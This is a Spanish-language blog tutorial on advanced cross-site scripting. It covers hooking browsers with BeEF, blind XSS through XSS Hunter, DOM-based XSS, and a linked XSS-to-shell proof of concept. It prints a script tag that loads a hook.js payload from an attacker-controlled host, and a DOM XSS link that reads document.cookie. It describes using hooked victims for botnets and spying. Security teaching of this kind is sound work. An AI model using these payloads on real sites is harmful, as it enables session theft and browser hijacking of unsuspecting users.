Cross-Site Scripting II: Inyecciones avanzadas

Este post es la continuación de otro que publiqué hace unos meses. Si todavía no lo has leído, te recomiendo echarle un vistazo.

Ya sabes que es un Cross-Site Scripting, sabes qué tipos hay, qué payloads probar, en qué campos fijarte cuando estés analizando una web, cómo evadir los filtros de los WAFs… Ahora voy a enseñarte cómo sacarle partido realmente a esta inyección.

 

BeEF

Empezaré con una herramienta llamada BeEF. Está ya integrada en las principales distribuciones de hacking (Kali Linux, Parrot Security), solo hay que ejecutarla con ./beef-xss e introducir las credenciales (por defecto beef:beef). En el navegador, entramos a http://127.0.0.1:3000

Está dividido en servidor (que sería nuestro ordenador) y cliente (que serían las víctimas). Esta herramienta se utiliza para automatizar inyecciones XSS, pero tiene funciones realmente intersantes. 

Por ejemplo, puede insertar un payload JavaScript en el navegador de la víctima que infecta su sistema. Posteriormente, crea un canal C&C (Command and Control) en el navegador de la víctima para la post-explotación. De esa forma tenemos por ejemplo http://127.0.0.1:3000/hock.js, y al meter en la web víctima el payload <script src="https://[tu ip]:3000/hook.js">, esta pasaría a ser un zombie de nuestra red.

Y una vez esto sucede, las posibilidades son las que queramos: que pase a formar parte de una botnet con la que realizar un DDoS, espiar todo lo que navega y escribe…

Blind XSS

Hay veces que una página web puede ser vulnerable a Cross-Site Scripting, pero por mucho que probemos payloads no conseguimos que se nos muestre nada.  Esto ocurre cuando la ejecución de un XSS Stored no es visible para el atacante/usuario, pero si para el administrador. 

Por ejemplo, en una página en la que puedas poner un comentario que un administrador debe revisar y aprobar antes de que se publique. Si ese input es vulnerable, le saltará al administrador en primera instancia. Por supuesto cuanto más privilegios tenga el usuario afectado, mayor es la amenaza.

Para encontrar este tipo de XSS se pueden utilizar herramientas como XSS Hunter. Esta herramienta hace una copia de la imagen de la víctima (la página que está mirando) y la envía al sitio XSS Hunter. Si se ha logrado explotar el payload, te avisa de que el ataque es fructuoso.

En el ejemplo anterior, se haría una copia de la página web en la que se pone el comentario, pero este se enviaría al sitio XSS Hunter en vez de al servidor original.

Para utilizar esta herramienta, accede a https://xsshunter,com, crea una cuenta, haz login en https://xsshunter.com/app y vea la sección de payloads para obtener tu payload. Modifica ese payload a tu gusto y mira XSS Hunter para ver la ejecución del mismo. Si el blind xss ha funcionado, recibes un correo con la información de la vulnerabilidad:

DOM Based XSS

Una inyección DOM XSS es posible cuando un atacante puede modificar los scripts del lado del cliente de la aplicación. En esta variante de XSS el servidor no está implicado.

Se produce cuando puedes inyectar código en el DOM y hacer que lo lea el navegador del cliente, de forma que se ejecute cuando lo lea el DOM. Veamos un ejemplo:

Supongamos una página que permite elegir al usuario el idioma. Se da uno por defecto, guardado en el parámetro “default”:

Select your language:

<select><script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>

La página se carga al introducir una URL como la siguiente:

http://www.some.site/page.html?default=Spanish

Podemos realizar un ataque DOM Based XSS haciendo que la víctima pulse el siguiente enlace:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

El navegador crea un objeto DOM para la página, donde en document.location contiene el payload javascript. Como no espera encontrar etiquetas HTML, el navegador lo pega en la página y después la ejecuta, ejecutando también el payload, y obtendríamos la cookie de la víctima.

¿De XSS a shell?

Por último, quiero dejarte el github de una herramienta llamada xsser.py:

https://github.com/Varbaek/xsser 

En este enlace puedes encontrar una PoC que se enseñó en la conferencia Black Hat de 2017, en la que se muestra como se consigue pasar de un XSS a obtener una shell en vBulletin, WordPress y Joomla.

Y con esto finalizo este post algo más avanzado en el que muestro el potencial de las inyecciones XSS.

Lethani.

Lethani

Hola! Soy el admin ;)

Deja una respuesta